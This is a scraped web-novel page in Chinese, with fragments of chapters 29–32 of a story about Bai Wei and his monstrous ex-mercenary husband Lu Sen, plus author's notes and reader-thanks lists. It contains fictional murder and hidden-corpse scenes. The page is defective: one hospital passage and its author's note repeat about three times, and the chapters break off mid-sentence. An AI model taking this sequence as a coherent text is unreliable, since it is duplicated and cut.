可那个女人像是突然呆住了一样,又或者,是因为自己孩子的这句话,精神终于到了临界点。 “你说我什么?你说我什么?”她的脸上露出一种似哭似笑般的表情,“你说我坏?我坏?” 忽然间,她放开了自己牵着同样患流感的小女儿的手,崩溃地坐在地上,大声尖叫起来。 “那个、那个……女士!女士!” “言敬妈妈!言敬妈妈,你冷静一点!” 病房里的护士也赶过来了。罪魁祸首的小孩像是被吓坏了一样,扯着卢森的裤子嚎啕大哭,缩在他的身后。场面乱成了一锅粥,连医生跑了过来,看着气质和善的卢森:“实在不好意思,这位先生……” 他本来是想要麻烦卢森照顾一下这个正趴在他身上哭的小孩。但他很快目瞪口呆地看见,卢森用力地把小孩从他的身上扒拉了下来,然后扔到了一边。 “这小孩和我没关系。”卢森说着,大步走向楼梯间的另一角。 “喂!你怎么能……” “哦,是不是得解释一下?我今天刚意外事故出了重伤,他碰到我伤口了。”卢森头也不回,凉凉地说。 他只蹲下身去白唯。白唯还坐在楼梯的那一角上,他披头散发,身上溅了小孩的鼻涕和楼梯间的尘土。他看起来十分不受人注意、十分狼狈。 他紧紧地捏着自己的右手手腕,脱臼的痕迹非常突出。 作者有话要说 很离谱,为什么我已经成为互联网知名精神病人,我的精神状态明明很正常,甚至还日更。感谢在2024-07-0120:06:16~2024-07-0219:48:30期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:重生之反手就是一巴掌2个;明道若昧、好喜欢恶毒美人受、子水、NEVERRE、唐诗宋词比课本好背、猫猫控1个; 感谢灌溉营养液的小天使:shining、闻舟无桨全靠浪60瓶;(x_x;)51瓶;渺然如梦、让我看看!50瓶;辞安39瓶;灵车漂移25瓶;全不及格20瓶;熬夜看文哒咩15瓶;Metasploit、未设置昵称11瓶;画画好可爱、霖诺、喜气洋洋10瓶;Yuri6瓶;xichcj、尺素(oc人请加我!)、土豆、数据共振、好看!、咕咕咕、行世路、宛南、等更中、叶沉星5瓶;不会画画怎么你了4瓶;熬夜大王、占山王大、摸着3瓶;朗、ivvmary、究惑久久、风和都月2瓶;冰冰糖啵啵鱼、Hxbd、慰籍、青舟、溺巫、日月日未、小白杨、今天依旧没有更新呢、脑花酱、我是你爹、程迟、煜、花下卿、介凉丰、栗栗栗、很有意思、十五祭江月、鱼鱼、72044130、楝1瓶; 非常感谢大家对我的支持,我会继续努力的! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 坏,叔叔我不要打针!” 这让卢森可有点不知所措了。他说:“太太,我先过去……” 可那个女人像是突然呆住了一样,又或者,是因为自己孩子的这句话,精神终于到了临界点。 “你说我什么?你说我什么?”她的脸上露出一种似哭似笑般的表情,“你说我坏?我坏?” 忽然间,她放开了自己牵着同样患流感的小女儿的手,崩溃地坐在地上,大声尖叫起来。 “那个、那个……女士!女士!” “言敬妈妈!言敬妈妈,你冷静一点!” 病房里的护士也赶过来了。罪魁祸首的小孩像是被吓坏了一样,扯着卢森的裤子嚎啕大哭,缩在他的身后。场面乱成了一锅粥,连医生跑了过来,看着气质和善的卢森:“实在不好意思,这位先生……” 他本来是想要麻烦卢森照顾一下这个正趴在他身上哭的小孩。但他很快目瞪口呆地看见,卢森用力地把小孩从他的身上扒拉了下来,然后扔到了一边。 “这小孩和我没关系。”卢森说着,大步走向楼梯间的另一角。 “喂!你怎么能……” “哦,是不是得解释一下?我今天刚意外事故出了重伤,他碰到我伤口了。”卢森头也不回,凉凉地说。 他只蹲下身去白唯。白唯还坐在楼梯的那一角上,他披头散发,身上溅了小孩的鼻涕和楼梯间的尘土。他看起来十分不受人注意、十分狼狈。 他紧紧地捏着自己的右手手腕,脱臼的痕迹非常突出。 作者有话要说 很离谱,为什么我已经成为互联网知名精神病人,我的精神状态明明很正常,甚至还日更。感谢在2024-07-0120:06:16~2024-07-0219:48:30期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:重生之反手就是一巴掌2个;明道若昧、好喜欢恶毒美人受、子水、NEVERRE、唐诗宋词比课本好背、猫猫控1个; 感谢灌溉营养液的小天使:shining、闻舟无桨全靠浪60瓶;(x_x;)51瓶;渺然如梦、让我看看!50瓶;辞安39瓶;灵车漂移25瓶;全不及格20瓶;熬夜看文哒咩15瓶;Metasploit、未设置昵称11瓶;画画好可爱、霖诺、喜气洋洋10瓶;Yuri6瓶;xichcj、尺素(oc人请加我!)、土豆、数据共振、好看!、咕咕咕、行世路、宛南、等更中、叶沉星5瓶;不会画画怎么你了4瓶;熬夜大王、占山王大、摸着3瓶;朗、ivvmary、究惑久久、风和都月2瓶;冰冰糖啵啵鱼、Hxbd、慰籍、青舟、溺巫、日月日未、小白杨、今天依旧没有更新呢、脑花酱、我是你爹、程迟、煜、花下卿、介凉丰、栗栗栗、很有意思、十五祭江月、鱼鱼、72044130、楝1瓶; 非常感谢大家对我的支持,我会继续努力的! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 坏,叔叔我不要打针!” 这让卢森可有点不知所措了。他说:“太太,我先过去……” 可那个女人像是突然呆住了一样,又或者,是因为自己孩子的这句话,精神终于到了临界点。 “你说我什么?你说我什么?”她的脸上露出一种似哭似笑般的表情,“你说我坏?我坏?” 忽然间,她放开了自己牵着同样患流感的小女儿的手,崩溃地坐在地上,大声尖叫起来。 “那个、那个……女士!女士!” “言敬妈妈!言敬妈妈,你冷静一点!” 病房里的护士也赶过来了。罪魁祸首的小孩像是被吓坏了一样,扯着卢森的裤子嚎啕大哭,缩在他的身后。场面乱成了一锅粥,连医生跑了过来,看着气质和善的卢森:“实在不好意思,这位先生……” 他本来是想要麻烦卢森照顾一下这个正趴在他身上哭的小孩。但他很快目瞪口呆地看见,卢森用力 第 29 章 躲一躲 《经常死老公的都知道》全本免费阅读 白唯在小孩摔到自己身上的瞬间就已经后悔了。 鼻涕!尘土!还有大哭大闹的扭动和眼泪! 伸手抓住这个小孩绝对是他今天做得最错误的决定了……就像他用钢琴盖来杀卢森一样错误。白唯面目扭曲地捂着手,被卢森扶起来。在他面前,两个孩子和一个母亲都在分别大哭,嗡嗡的哭声简直快要把他的脑袋炸掉了。 “哎呀!你的手!”有护士惊呼。 被推进急诊室的人从卢森变成了白唯。医生在看见白唯后也很诧异:“刚刚被钢琴砸脖子的不是你老公吗?怎么你的手腕也脱臼了?” 白唯:……如果可以的话我也想知道原因。 “手腕脱臼,骨头虽然没断,但韧带断了,得做个小手术,休息两周,不要做剧烈运动。”医生在检查之后,嘱咐白唯。 白唯热泪盈眶。终于,他迎来了今天的第一个好消息。 …… “换洗衣物,我的电脑,充电器……你都记住了吗?”白唯坐在病床上,嘱咐卢森,想到对方是怪物,他反而对他多了几分耐心,“尤其是换洗衣物。” 他也不太敢依赖卢森这只怪物。但没办法,他如今受伤了,也只能靠卢森去把他的东西拿回来。 卢森要走了,脏兮兮的外套从身上被扒下去了,取而代之的是干净的病服和飘着消毒水味的单人病房。白唯躺在自己加钱换来的单人间里,看着洁白的、一尘不染的墙面,感觉生活从来没有这样好过。 卢森在小本子上记下了所有要带回去的东西,却没有说话。白唯觉得今天卢森沉默得简直有些异常了。就连刚才那对母子过来道歉和道谢时,他也一言不发。 “如果不是你老婆拉住了那个孩子,他肯定会掉下去摔死的。”护士在进来换药时,对卢森如是说,“我之前听信镇上的传言,以为你们一家都很冷漠,不爱和人往来。现在看来都是谣传啊!我会告诉所有人,你们真的是很好的人。” “谢谢。”白唯躺在病床上对她微笑,“这只是应尽之事罢了。” 白唯的确只觉得这是他的应尽之事。能让护士如此赞扬,倒是意外之喜。 “我倒希望他不要做得那么好。”卢森忽然说。 白唯愣了一下。他用疑惑的眼神看着 卢森。这倒是让他想起了卢森刚才看那对母子的表情——分明是强压着厌烦和嫌恶。 那对母子应该也看出来了,离开房间时也唯唯诺诺。 等到护士走后,白唯下意识地说:“你刚才对他们的态度很失礼……” “很失礼吗?” 卢森转过头来看他。这是白唯第一次看见卢森露出那么阴郁又愤怒的表情。 一直以来,白唯从卢森的脸上看见的就只有温和、爽朗、微笑……或者迷惘和疑惑。就像他早早打定主意,要将一切负面情绪摒弃,用所有正面的表情来面对他下定决心经营的、作为人类的新生活。 如果说在白唯给他第一次下毒前,卢森对待生活还有些怠懒。但在那之后,卢森像是又找到了新的生活目标,决定在雪山镇上建设一个受人尊崇的幸福家庭。 他变得有精力,听所有人的建议,装修房子,打理花园。面对雪山镇的镇民,他变得从未有过那样健谈和慷慨,试图建设他们一家的好名声。就连前些天去古董店买东西时,他也给了店主更多小费,称赞他们装修店铺的品味。 以至于卢森给白唯的感觉,一直是诡异大于恐怖。 但现在,白唯感觉卢森就像撕掉了自己的人皮一样。这让他害怕的同时,还有点茫然。 难道,还是因为他身世的事情? 因为知道了他的身世,卢森理所当然地觉得可以对他不耐烦了? “你不觉得疼么?为什么还要对他们笑出来?”卢森又说。 “你在指责我吗?”白唯下意识开始防备。 “……不是。我只是觉得很生气。”卢森说,“他们来找你道谢,我却有一种他们在逼迫你的感觉。你明明也不喜欢那个孩子,明明受伤的是你。但你还不得不对他们微笑,接受他们的道歉。” “我很生气。”他重复,“看见你受伤了还要对他们笑,我很难过。” 白唯反而被他这话整懵了。这有什么值得生气的? 一场意外,卢森说得好像他被欺负了一样。 他拧着眉头道:“这是礼节,不是吗?就像你对古董店老板很耐心,对送奶工道谢……” 卢森说:“我之前做这些,是因为我看见人都是这样做的。我想要融入雪山镇,组建一个受人 尊重的家庭。对他们友善,可以塑造我的名声。” 白唯:…… 忽然无语了,谁懂。 虽然已经知道你是怪物了,但能不能在说话时装一下人? “但今天,我知道对他们态度好会更好,但我不想这样做。”卢森道,“他们让你受伤了,我对他们笑不出来。我认为他们比任何失礼的人更失礼、更应该被谴责……你不用说话,我知道这是意外。但我还是觉得,这世上没有比他们更值得被谴责的人了。但世上没有一条法律或者规则,规定他们这种情况应该更受谴责,我因此觉得更加愤怒。” 白唯听不懂卢森在说什么。他只道:“所以这有什么值得生气的?这对于你……对于我们来说,不是一件好事么?” 卢森顿了很久,他用一种白唯从来没有见过的眼神看着白唯。最终,他说:“我忽然觉得,做一个好人类也没什么意思。” 白唯:…… 有没有一种可能,我们人类说话是不会频繁使用“人类”这两个字的…… “白唯,你喜欢生活在这座小镇上吗?”卢森忽然问。 白唯怔了一怔,旋即,他道:“当然。” “那对母子对你道谢,你发自内心地高兴吗?” “当然。” “你是因为自己想要做,才邀请他们以后有空来家里玩的吗?” “当然。” “当然?” “当然。你问这个做什么?” “我只是忽然想到……你之前说,你从小到大,都是在白家长大的,是这样吗?” 原来到头来卢森还是想问这个问题。白唯在心里冷笑。他微笑起来,对卢森温和道:“当然。” “你说他们都对你很好,是这样的吗?” 这次白唯没有说“当然”了。 他看着卢森,一句话也没说。 他以为卢森会和他争吵,但卢森没有。 卢森只是长长久久地看着他。终于,他说:“你刚才对我微笑时,和你对那对道歉的母子微笑时的表情一模一样。” “?” “算了。”卢森道,“你睡吧。” 卢森把手放在白唯的额头上。白唯还想说句什么,却有一股浓厚的睡意袭来。 ……卢森!!你暗算我! 白唯咬牙切齿。他还想着和卢森吵一架呢。大不了卢森说他的身世,他说卢森的造假……可困意来得太快。 终于,他支撑不住,在床上沉沉睡去。 在他沉睡后,卢森坐在他的床边,仔细地看着他的脸。他第一次注意到,白唯的头发有分叉,耳根有陈年的小伤疤,脸型也并不完全对称。 白唯其实不那么完美。他并不像他抢来的艺术品。他有过去,有秘密,也会撒谎。就像他其实不喜欢那个小孩,还会因为“这是符合礼仪”的而去救他。就像他已经很不耐烦,还会对道歉的母子微笑,给出以后“可以串门”的邀请。 就像他明明不是从小在白家长大,他明明有着那样的过去……而且已经知道卢森已然知晓。 他还会微笑着,毫不犹豫地说出一句“当然”。 只 第 30 章 完美家庭 《经常死老公的都知道》全本免费阅读 地窖里很黑,且有一股奇异的气味。裴杰形容不上来,只能说这是一种海水混合着青草发酵的气味。 地窖之外,隐隐约约有电话里的声音传来:“你说你要回归家庭?别搞笑了,63,你以为我们不了解你的本质吗?” “你根本没有那么享受和在乎一个家庭。你只是贪婪,只是不甘。你只是知道很多人类都把完美的家庭视为自己的成就,会以它为基础建立自己的社会名誉。你需要家庭和你当雇佣兵抢夺金银财宝没什么区别。你只是觉得别人想要的东西你也要有,在战乱年代里你想要财物,在和平社会里你组建家庭,你太想当一个人了……哦,你不仅是想当一个人,还想当一个人上之人……你以为你能够在他们眼里变成人了,不仅要变成人,还要被他们尊崇,当人上之人,这才能弥补你的贪婪……” 在能将人鼻子都熏掉的气味里,裴杰在地窖里看见四个东西。它们被钉在天花板上的铁钩高高地挂了起来,每一具都有长手长脚垂下。 终于,在看清了那些物品的面目后,裴杰捂紧了自己的心脏。 啊啊啊! “可那都是没有用的,装成一个人不能填补你的贪婪!你没有族群,你不属于人,海底也没有你的同族!没有人会真心地接受你!只要有战争来临,你还是会做被抛下的那一份子!”电话那头的人提高了嗓门,“只有做个雇佣兵才是你适合的归宿!” “我听不懂你在说什么。”卢森说。 裴杰后退两步,在惊悚与震惊之余他甚至想笑了——人在极度惊恐的时候真的会笑出来。 所以这就是这个家庭的秘密!妻子想要干掉丈夫,丈夫是个连环杀手!他得意洋洋,觉得自己有了向卢森谈判的筹码。 正在此刻,一道光从地窖顶部透了下来。裴杰就在此刻看清了那些尸体的脸。 “你还在生气吗?生气老头背着你和军阀签协议,战时他们本来承诺战后要让你当一个战争英雄,你为了这个目的舍身忘死地去做弃子,你漂泊了许多年终于觉得自己有被他们当自己人,在历史上能有自己的一席之地了。战后他们登临总统之位,却把你的那场战役和那段历史全部删除了,因为他们自己也知道骗了你,那只是一场不义之战。你觉得你被愚弄了,他们假装自你是自己 人,到头来你还是什么都不是。”电话那头说,“我的老哥,这还不能证明你得的实在太多了吗?你在有战争的世界里失败,就跑去文明社会,想向老头子证明自己可以做个更优秀的文明人吗?所以每天在演一些完美家庭的家家酒吗?” 电话那头语调一转,换了循循善诱的讨好语气:“其实我知道你为什么要做这个。他们和我说过了,你在杀老头子之前绑架了他的家人,就是他一直吹嘘并控制的那几个。你用生命诱导他们背叛老头,而他们也确实那么做了。你当着老头的面,干掉了他们和老头。所以你想要有个完美家庭,来证明自己比老头强,比这个你曾经视为师父和老朋友的人强……” “你不能用一个人类社会里不存在的东西来证明自己的正确。早晚你会发现短期抢夺比长期持有好。十年过去,你会发现你老婆是个虚无、浅薄、满是欠缺点的人,但你只要坚持抢劫,你每次抢来的财宝都是最新的,锃亮锃亮的……你那边什么动静?” 啊啊啊啊啊啊!! 裴杰一把眼泪一把鼻涕地顺着地窖楼梯往上爬。他错了!他真的错了! 他从一开始就不应该上这辆车,如果他不上这辆车,他也不会被带到雪山镇来……这一家人都是怪物啊! 老婆杀老公,老公在地下室里藏自己的尸体。 还藏了整整四具!! 我错了,我错了,我不该过来,不该来打扰你们的平静生活……一道天光照亮了裴杰涕泗横流的脸。他呆呆地抬头,看见了逆着光的卢森。 卢森把手机放在大腿上,他蹲下身来看他,整张脸都被遮盖在阴影里:“你怎么会出现在我家里?” “哈……哈……” 从花园里捡来的改冰锥——差一点就捅进卢森的心脏了。可就在裴杰还没看清时,它已经被攥到了卢森的手里。卢森轻而易举地握着那把用裴杰全身力气刺出的尖锐的改冰锥,那快准狠的模样比他笨手笨脚做家务的模样不知道厉害多少倍。 如果卢森去做杀手的话,一定是顶尖的……卢森说:“看来我得改下你的脑子,把你扔到警察局里了。老鼠。” “啊……啊……”裴杰忽然尖叫起来,极度的恐惧已经冲破了他的认知,“别、别杀我!我有很多秘密可以告诉你!我可以帮你! 对你来说很重要的秘密!” “什么?” “你老婆、你老婆……他不是什么好人啊!他想要杀……!”裴杰说。 裴杰企图用这个秘密,换来卢森和他联手干掉白唯的合作。可卢森仍蹲着身体,双手落地地看着他。 那一刻他看见,卢森面无表情。 他那种面无表情的神情,比其他时刻更可怕。 “咚!” 电话那头传来面口袋落地的沉闷声音。电话的这头,卢森的佣兵前战友皱眉:“你在那边干什么?或者先不说这个了,我有一单好生意要给你介绍……” “你别在那里说这些了,把电话给我,我和他关系好!”另一个佣兵把手机抢了过来。 拖拽、装袋、然后拖行……在这些噪声后,听筒里传来卢森的声音。 “你说错了。我的确绑架了老头的家人们,让他们背叛老头。他们也的确都这么做了。但在我掏枪一个个干掉他们时,发生了意外。” “我用了一把□□手枪,17式的。我其实很久没有用过这把枪了,熟悉我的人都知道,我更擅长用散/弹枪。我用它是因为我想起,第一次见老头子时,他看着我在墙边埋伏一个士兵想抢吃的。他把这把枪给了我,说枪比肉搏更好用,而且,他的儿子也有一把这个枪。” “老头子冷酷又残暴。我很佩服他,他白手起家,靠着抢夺和算计能够在一片战乱之中颠覆一个政权,和别的军阀共同谋事成为最高宝座的二把手。老头子也很有品,他在我抽从士兵怀里捡回来的香烟时把我手里的香烟拿走,告诉我真男人就该抽雪茄。我一直觉得他是个很厉害的人,父母不要他,以前的队伍也不要他,他是一个孤儿,还能被置之死地而后生,在后半辈子翻出新的风浪来。有一句话你说错了,我没有把他当成师父,我知道他对谁都只有利用。” “我那时觉得我也想成为这样的人。在我告诉他出卖他的是他的家人的时候他连哭也没有哭。他瞪着他们,如果我没开枪,他一定会杀了他们的。” “□□弹夹总共有十发。我给了其他人九发,最后一发理应射入他儿子的眉心。然后我会更换弹夹,给他最后一枪。但在我向他的儿子开枪时,他还是挡在了他的儿子身前,那个背叛他的儿子。” “第十发子弹,就射入了他的心脏。” “我看着他,我以为他会求饶。他没有。我以为他会和他的儿子说话,他也没有。他看着我,牙齿缝里都是血,可他笑了。笑得很得意,很猖狂。他说63,我告诉过你金钱是最重要的,我告诉过你家人是值得用来炫耀的。但我告诉你,你现在永远也无法幸福。你生活在一个全是战争的地方,你总是把东西抢来,又把东西扔掉。我在你的眼里看见了嫉妒,这就够了,我已经可以断定你这辈子都无法做人、都无法幸福。” “他和我说过金钱就是一切,可现在他却告诉我我一辈子都不会幸福。我在离开他家逃进海里前,把他的豪宅给烧了,价值上亿的豪宅,熊熊燃烧的金钱和他一起陪葬。我在海里想或许是因为他知道,这个国家满是战争,所以烧了豪宅也没什么值得心疼的,反正也许很快,也会被导弹摧毁,但文明社会就不一样了……” “我的天哪你简直是个诗人。”电话另一边的佣兵没办法忍受了,他抓着脑袋,难以想象自己想要邀请曾经的专家加入自己,却导致如此苦果,“你在这几年选修了哈佛大学的文学和艺术么?你最大的问题就是想得太多了。快回来,你的伤也养好了吧?让我们一起热血沸腾一下,抢东西的多巴胺很快会盖过你的这些哲学思想的……” 卢森站在小溪边。他把麻袋扔进了河里。麻袋顺水漂走。他举着手机,夕光在他的身上打上一层似血的痕迹。 “我知道我的老婆并不完美。”他说,“刚抢来的东西是最新最好的。比如物品,即使不用,放在保险箱里久了也会生锈。我小心翼翼,用了最好的恒温装置和密封系统,也只能徒劳地看着金属上一层层生锈,画布一点点斑驳。即使磨掉了表层的锈,我拥有的东西也越来越少,越来越贬值……抢夺带来的快乐好像只是一瞬间的,接下来拥有的,只有提心吊胆和一点点失去。” “所以我们才要不断地抢夺不是吗?老大!难道这点东西就足够让你想要退休了吗?” “我一开始以为人不是。我已经尽力选了表面没有锈迹的那个了。但人是不一样的。人看起来光鲜亮丽,可你磨开表面,哪怕只有浅浅的一点点,你就会发现,洁白无瑕的表面下到处都是锈迹斑斑。这些锈迹许多是从前就有的,还有的是 你磨出来的,好像人就像物品一样,越磨质量越小,越相处就越失去……” “老大我虽然听不懂你的比喻,也不知道你生活里发生了什么。可你这个说法像是你和你老婆闹矛盾了。我就说事情该这样!”佣兵一拍大腿,“俗话说得好,旧的不去新的不来,眼前的东西不好就丢了。下一个热恋期的更好!而且你又不是和我们一样是人,你这辈子能一口气换200个老婆呢!” “不。” “啊?” “但我不觉得那些锈迹是差的 第 31 章 回家一趟 《经常死老公的都知道》全本免费阅读 任医生眉宇端正,容貌英俊,尤其是一双眼睛生得好,形状正直,让人看了心生好感。 白唯说:“学长……” “哎,学弟不会忘了我的名字吧?我是任君尧啊。”任医生笑眯眯道,“大学时,我们可是在同一个社团呢。” 白唯当然不是没有认出他。只是猝不及防地与他相遇,的确有些尴尬。 白唯和任君尧本来是绝不会产生交集的两种人。他们大学时在不同的系,白唯独来独往,任君尧则喜欢参与各种组织和交际。身为一个成绩优秀、却也不需要靠成绩去争取什么的独行客,在学生会里没有任何职位的白唯本不该在任医生的社交范围内。 直到他们很碰巧地参加了同一起征文比赛。 白唯不出意外地在比赛里以一票之差夺了头筹。这对于找了许多同学拉票的任君尧来说,则是很意外的。在这个事情之后,白唯被同系的同学邀请加入了文学社团。在白唯接下邀请后,他顺口道:“听说你愿意加入社团,副社长也很高兴。” 那个副社长就是任君尧。 任君尧是开朗的、宽宏的,是知道白唯是比赛的胜者,还会在众人面前揽着他的肩膀,笑着称赞他“是一个非常才华横溢的人”的。所有人因此觉得任君尧很大度,落落大方的失利态度总能引起更多人的好感。白唯也是这时候才知道,任君尧比他想象中还要更早地认识他。 早在三年前,他们还是中学生时,任君尧就已经在另一场征文比赛里输给过白唯一次。虽然那次他们中间差得不止一名,但那时任君尧就已经记住白唯的名字了。所有人于是起哄,说你们俩可真有缘分。 有人问任君尧是怎么记住白唯的。任君尧那时看着白唯的脸,笑着说:“当时参加那场比赛的获奖选手里,年龄低于17岁的只有我们两个人。我那时就想,我和这个叫白唯的16岁‘天才少年’,这辈子要么是一辈子的对手,要么就必须得做朋友。” 说着,他眯着眼,又笑了:“你看,我们这下不就认识了?” 几个学姐学哥又开始起哄。有人开玩笑说任君尧你太自作多情了,你们两个中间差的又不止一名,哪来的“一辈子的对手”,这不是越级碰瓷么?任君尧也不恼,人缘好的他笑眯眯地说:“这次咱们两个不就 只差一名?” 很多人都觉得白唯和任君尧有缘,就该做朋友,有什么活动都叫上他们一起。但白唯不是那种别人要他做什么、他就会发自内心地做什么的人。他没办法对任君尧产生亲近感,无论任君尧开什么样的玩笑、邀请他参加什么样的活动。比起和他们出去,他更愿意坐在湖边,让夜晚的湖风在他的心里呼呼地吹,吹过空空洞口里的空虚和不耐烦。 任君尧应该也认识到了一点。有一次,他忽然对白唯说:“学弟,你家的经济状况应该挺不错的吧?” 白唯对他提出的话题不感兴趣,但还是有礼地表示自己的家庭情况也不过普通中产。任君尧听完,苦笑说:“学弟你不用谦虚了,从你穿衣的品牌就能看出来。刚才咱们文学社去采购蜡烛,你直接在那个精品店里开口就订,眼皮都不眨一下。” 他们走在夏天的河堤旁,就两个人。河堤旁开了一丛又一丛的蒲公英,晚风一吹就有白色小伞呼啦啦地飞。去买蜡烛是任君尧提出来的,他说上一届学姐学哥要毕业了,临毕业前办个烛光夜读活动,好让大家最后聚一聚、留下美好回忆。他说让白唯和他一起去买蜡烛就好,白唯其实很久没怎么参加文学社的活动了,但任君尧直接在群里提到他,他不太好拒绝。 任君尧说:“其实我的家庭状况不太好。你看我在学校里,看起来也算是个风云人物,是不是?你很难想象这样的我,其实每个寒暑假回家时,都要帮家里做农活、喂猪吧?这些事情我没和别人说过,只和你说过。我不想让别人觉得自己很可怜。我总在想,靠自己的努力,过上更好的生活……” 任君尧不想让别人觉得自己很可怜,大概也是不想让自己觉得他可怜的吧。白唯如此想。出于礼貌,他提出建议:“那学长你有没有考虑转专业,去学金融之类的?你现在的专业,想要短期内获得大量回报,应该比较难。学长你学积分够转专业吗?” 任君尧说:“白唯,或许像你这样的家庭,想要转专业会更轻松吧。其实我最近有看一些老庄思想的书。或许追求自然而然是更好的,比强求还要好。” 先提起家庭状况感觉自己很难过的是任君尧,现在说自己皈依老庄思想的也是任君尧。但既然任君尧说自己已然老庄,白唯也没必要开口。他抬脚想赶快回学校 看书,任君尧却忽然又说:“学弟,我们在这里坐一会儿,看看蒲公英吧。” 蒲公英的确翩飞,但河堤上一片污泥。白唯在任君尧旁边扎马步,努力不让自己的裤子接触到河堤。他头皮发麻,听着任君尧说:“你知道吗?很多人以为毕业是开始,其实回头一看,毕业反而是结束。” 白唯说:“学长你不是还没有毕业么?” 任君尧又看向白唯:“中学的时候我就想知道,这个比我还小一岁,却远比我厉害的人是什么样的。后来到了大学我才知道,原来是你这样。或许只有在这座大学里,我们才能相遇,才能给彼此一种,我们能忽略家世,开启公平对话的错觉……” 白唯扎马步扎得腿有点麻。他道:“学长,我觉得尽管皈依老庄,还是可以追求一下自己的人生的。” 任君尧说:“你知道么?其实学校里和社团里很多人,都把我们视作对照组一样。我们同样优秀,我长袖善舞,你清高自矜,我总在追求各种东西,你却恪守规则,总对自己之外的事情充耳不闻一般。我还是那样想的,我们这辈子如果做不成挚友,就只能是敌人了。” 白唯腿已经麻得不行,正在这时,他发现自己由于过于注意臀部的裤子不要碰到河堤,已然忽略了裤腿。此刻裤腿已经被河堤留下了发黄的泥印。白唯就在那一刻开始大脑升温。 “学长,毕业之后无论是我们,还是同学,都会很快地把我们给忘了的。”白唯随口吐出一句糊弄的话来。 “是啊,可他们会如何看待我们未来的生活方式呢?我们又会在自己的基础上,于这个世界上走到哪一步?”任君尧感叹了一句,却转过头,盯着白唯,“白唯,你对我们有什么想法吗?” 白唯道:“学长,我觉得我们可以快点回学校去。我们走吧。” 白唯最后都没明白任君尧的意思到底是争还是不争。他回到学校之后就把那条裤子换了下来,送去洗衣店嘱咐他们一定要把裤腿洗得干干净净。 过两年,他得到消息,有人告诉他风云人物任君尧放弃了去大公司的机会,决定回乡做一名医生,贡献自己的一生。也有一两个人传言说任君尧只是没被大公司选上,有人发现他在面试时作弊。但更多的人都说,任君尧不慕名利,只追求内心的平静,非 常了不起。 白唯只觉得任君尧最终还是选择了皈依老庄。他只是不太理解,别人为什么要把任君尧的事情告诉他。那些人只说:“因为你们两个人是对照组啊,不是对手么?” ? 白唯只觉得还挺莫名其妙的。他不读墨家,对论语也没兴趣,何时成了任君尧的对手。有人说任君尧终究还是比不过白唯,白唯在毕业前就顺风顺水,拿下了文学界最有含金量的新人奖。有人说白唯毕业后还在电视台找到了好工作。有人说白唯不愧是天才少年第一本出版就如何如何……就像16岁的比赛给白唯的人生带来了质变,却因此让任君尧错过了整个人生一样。 但现在,好像一切发生了翻转。白唯在私奔后就没再写东西,电视台为此做了采访说这是“伤仲永”。任君尧在雪山镇上受人尊敬,是人人口中医德超群的任医生。 “任学长好。”白唯道。 他和人打招呼的样子总会让人觉得他很礼貌也很乖巧。任君尧把探病的热牛奶放在他桌子旁,坐在旁边道:“其实我一早就该来看你的。只是之前报道的事……唉,我都不知道该怎么说。那些外面的流言,你应该挺受困扰的吧。我会觉得,你会不会不想见老同学。” 任君尧说的自然也是白唯的竹马李愿寄信的原因。李愿没有在信里详细描述,但白唯都明白。私奔前后,白唯已经一年半没有发表任何作品。网上于是沸沸扬扬,有人说白唯这是伤仲永了,什么都写不出来。还有人说白唯这叫选择了错误的人生道路,拥有了失败的婚姻。更有人说白唯这是过早地接触到虚荣的名利世界,没有保持好自己的本质,即使假装归隐也没什么用。 还有好事者写了报道,“追逐天才少年的十年后”之类的,主要用来对比白唯和他十六岁那年参加的比赛的其他成年人与未成年人。报道里着重提到了白唯的家庭生活,说“白唯的婚姻和生活一定不幸福,沉浸于精神的世界里是这样子的,人书读太多,不追求实际会怎样如何如何……” “真正急流勇退的勇气,和沽名钓誉的隐居不同……” 记者的采访没避人。这让认识白唯的许多雪山镇街坊邻居都知道了。好在白唯不怎么出门,也不认识很多人。以致于镇上很多人看见他时,并不会联想到他就是传闻里的那 个人。 但显然,任君尧早就知道了。 “我毕业后回到了雪山镇附近的小镇工作,做牙医,在一次事故里认识了我现在的妻子。她是李家的大女儿,就是河边那座白色大宅的主人的女儿。我和她结婚了,并且搬到了这里来。到目前为止,我的婚姻和家庭还算幸福。我的妻子很温柔,她为我投资,让我在镇上拥有了一 第 32 章 春夜 《经常死老公的都知道》全本免费阅读 白唯坐在病床上,很想把自己塞到地缝里去。 床边,卢森正在自我介绍。 “我是阿唯的丈夫,迄今为止,已经和他结婚一年零两个月。” “我和阿唯相识在北都。在约会三个月后,我们订婚。我们在众人的祝福中走进了婚姻殿堂,并且在世界各地进行蜜月旅行。” “后来,考虑到阿唯的呼吸系统,我们在雪山镇定居,并购买了一套房子。接下来我们或许会在这里居住五到十年。在搬到这里后,我逐渐学会了做饭。多亏了阿唯的鼓励,我的厨艺水平得到了很大的提升。刚才,我回家,给阿唯拿了一点生活必需品回来。” 卢森说到这里,便露出了一种微笑——一种仿佛他已经把要说的话说完了的微笑。 …… “那个……”任君尧瞠目结舌,“你……那个……” “你的名字。”白唯终于从地缝里钻了出来,忍无可忍地对卢森说。 卢森这是把自己编造出来的名字也给忘记了吗?果然不愧是怪物。 “哦,我忘了说了,我叫卢森。”卢森说,“还好有阿唯提醒。他总是能让我想起我该干的事。” 任君尧:…… 白唯想把脸埋在床帘上了。然而卢森的到来,反而让他觉得没有刚才和任君尧单独相处时那么不自在。卢森把充电器拿给他,道:“回家后我除了拿充电器和换洗衣服,还多拿了点你可能用得到的东西……” “等等。”被剥夺了视觉中心的任君尧大声开口,“谁让你把这些人和这些东西带进来的?我是医生……” 卢森:“哦,是院长?我本来带了一些昂贵的葡萄酒进来,在进医院时又想起病人喝不了酒。正好遇见院长问我在干什么,我就把酒都给他了。” 任君尧:…… 任君尧一口气有点上不来。他比谁都知道院长是个酒鬼。他搬来雪山镇后费尽心机打听过雪山镇各个“名流”的爱好。 他看着病房里来来去去的工人。安装电视的、安装台灯的、还有搭起了衣柜的……病房外不止是几个护士,就连值班医生和其他病房的病人、家属都来围观了。 “住在病房里的人是谁?” “这家人好有钱啊!” “连衣柜都 搭起来了,还有小夜灯……这家的丈夫好细心啊。” 人们会被新东西吸引,不再有人关注他。任君尧就在那种强烈的、被遗忘的感觉中想到了他该问的问题。 “你真是买了很多东西过来。不过白唯,这些东西是你要的吗?” 他笑着看向白唯。 